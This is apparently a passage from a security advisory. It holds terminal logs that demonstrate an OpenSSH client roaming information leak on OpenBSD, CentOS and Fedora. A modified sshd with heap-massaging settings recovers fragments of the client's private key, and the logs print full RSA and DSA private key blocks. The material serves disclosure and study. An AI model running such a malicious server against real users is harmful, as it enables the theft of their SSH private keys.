$ head -n 1 /etc/motd
OpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015

$ /usr/bin/ssh -V
OpenSSH_7.0, LibreSSL 2.2.2

$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL
ruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s
17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8
L/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh
xSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP
vavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl
Jka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP
Kyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19
qJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY
gQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK
QolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt
gKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL
cQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB
+s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl
hcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri
hBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh
vhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O
nFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG
8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra
uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc
prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO
ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V
8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp
ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz
uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==
-----END RSA PRIVATE KEY-----

# "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 1 %h %p" -p 222 127.0.0.1
[connection suspended, press return to resume]Segmentation fault (core dumped)

(this example requires a ProxyCommand because of the NULL-aitop bug
described in the Mitigating Factors of the Information Leak section, and
crashes because of the NULL-pointer dereference discussed in the
Mitigating Factors of the Buffer Overflow section)

# cat /tmp/roaming-a5eca355/infoleak
ry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra
uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc
prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO
ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V
8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp
ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz
uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==

------------------------------------------------------------------------
Private Key Disclosure example: CentOS 7, 1024-bit DSA key
------------------------------------------------------------------------

$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="CentOS Linux 7 (Core)"

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe
kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n
GLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a
Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2
hUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X
iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/
QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS
F9AoVoZFKEGn4FEoYIqY3a4=
-----END DSA PRIVATE KEY-----

# env ROAMING="heap_massaging:linux" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
...

# strings /tmp/roaming-b7b16dfc/infoleak
jJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe
kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5

# strings /tmp/roaming-b324ce87/infoleak
IuQL
R2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a
Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9v

# strings /tmp/roaming-24011739/infoleak
KjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC

# strings /tmp/roaming-37456846/infoleak
LsBlstpuQ4Hr2DHmalL8X
iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA
yq4Kwj/

# strings /tmp/roaming-988ff54c/infoleak
GBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/

# strings /tmp/roaming-53887fa5/infoleak
/4oatxFUV5V8aniqyq4Kwj/
QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS
F9AoVoZFKEGn4FEoYIqY3a4

------------------------------------------------------------------------
Private Key Disclosure example: Fedora 20, 2048-bit RSA key
------------------------------------------------------------------------

$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="Fedora 20 (Heisenbug)"

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz
HLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp
o9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ
/B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy
2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK
cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o
6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06
Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV
JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr
Hiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l
PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ
rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo
/euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot
gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa
jwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY
vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y
3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF
Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P
pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU
dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm
qK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5
r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp
P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+
ZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU=
-----END RSA PRIVATE KEY-----

# env ROAMING="heap_massaging:linux" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
...

# strings /tmp/roaming-a2bbc5f6/infoleak
cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG

# strings /tmp/roaming-47b46456/infoleak
RGAcE0nc
GCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o
6GEmk/oB9

# strings /tmp/roaming-7a6717ae/infoleak
cawMW4LZ1
Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV
JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p

# strings /tmp/roaming-f3091f08/infoleak
lZ3w0qHe
nSolsDs2k8wHbVP4VtLE8l
PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ

# strings /tmp/roaming-62a9e9a3/infoleak
lZ3w0qHe
r3TwTa0pPEk11
LbcsTEJ
rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo
/euhzdYixxIkfqyopnYFoER26u37/OHe37P

# strings /tmp/roaming-8de31ed5/infoleak
7qyvNznQ
26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot
gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa

# strings /tmp/roaming-f5e0fbcc/infoleak
yESI62wOuaY
vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y
3fBC3h9BN5banCw6VKfnvm8/q+bwSxS

# strings /tmp/roaming-9be933df/infoleak
QRtzK/GpRuMC1
C3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF
Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT

# strings /tmp/roaming-ee4d1e6c/infoleak
SG3aTqYp
tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P
pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s

# strings /tmp/roaming-c2bfd69c/infoleak
SG3aTqYp
6JmTOun5zVV6A
H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU
dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s

# strings /tmp/roaming-2b3217a1/infoleak
DGLfFGdO
r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp
P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ

# strings /tmp/roaming-1e275747/infoleak
g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj